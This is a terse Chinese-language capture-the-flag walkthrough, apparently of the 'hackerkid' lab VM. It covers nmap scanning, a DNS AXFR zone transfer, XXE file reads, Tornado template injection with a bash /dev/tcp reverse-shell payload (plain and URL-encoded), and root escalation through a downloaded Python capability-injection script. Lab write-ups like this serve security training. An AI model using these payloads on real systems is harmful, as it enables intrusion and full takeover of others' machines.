1.常规端口服务及侦探
2.发现9999存在python轻量级web开发框架tornado
3.怀疑udp53端口作为同一个域之间传输数据的方式,扫描发现存在udp53端口
sudo nmap -p53 -sU 10.0.2.15
- 查看网页源码,发现注释中存在page_no参数处存在get提交方法,参数爆破发现21存在回显
,发现是不同域名绑定一个ip这种dns解析服务
cve-2020-8625 cve-2021-25216 两个针对dns服务的漏洞无利用代码失败
5.在hosts更改绑定后发现主机记录没有改变,使用dns区域访问,axfr区域传输后会返回域名下的
所有记录,dig axfr @10.0.2.28 blackhat.local发现存在axfr漏洞,发现存在新域名,均绑定到hosts
里面
6.挨个访问新域名,发现hackerkid.blackhat.loacl有新内容,同时发现所有域名9999端口都存在一个
登录界面,在新界面上发现提交方式为xml,考虑是否存在xxe漏
发现存在漏洞并且成功读取到passwd文件,发现saket账号存疑
7.挨个读取后,在读取/home/saket/.bashrc时没有回显,使用php封装器读取,然后进行解码
,发现得到用户名和密码,在登录处登录失效,尝试使用saket作为用户名登录
8.登录进去思考发现name可能是变量,发现回显名字,思考是否存在模板注入,使用通杀模板注入payload
{{1+abcxyz}}${1+1bcxyz}%3C%1+abcxyz%%3E[acbxyz]
${77},{{77}},发现可以执行,对模板进行注入反弹操作
{% import os %}{{os.system(‘bash -c “bash -i >& /dev/tcp/10.0.2.7/4444 0>&1”’)}}
发现连接失败,对编码进行混淆绕过
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2
Ftcp%2F10.0.2.15%2F4444%2000%3E%261%22%27%29%7D%7D
成功得到反弹shell
9.开始进行提权
基础提权方式都失败
capabilities是一个权限管理功能,设置权限赋予
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
首先进行查询指令 /sbin/getcap getcap -r / 2>/dev/null
发现一个python2.7的程序拥有capabilities权限
ps -U root 查看所有以root账号运行的进程 或者 ps -aef | grep root
下载利用权限利用的python进程注入脚本wget https://gist.githubusercontent.com/wifisecguy/1d69839fe55c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
python2.7 inject.py 862 默认侦听端口为5600
10.kali本机侦听端口发现注入成功,得到root权限,打靶成功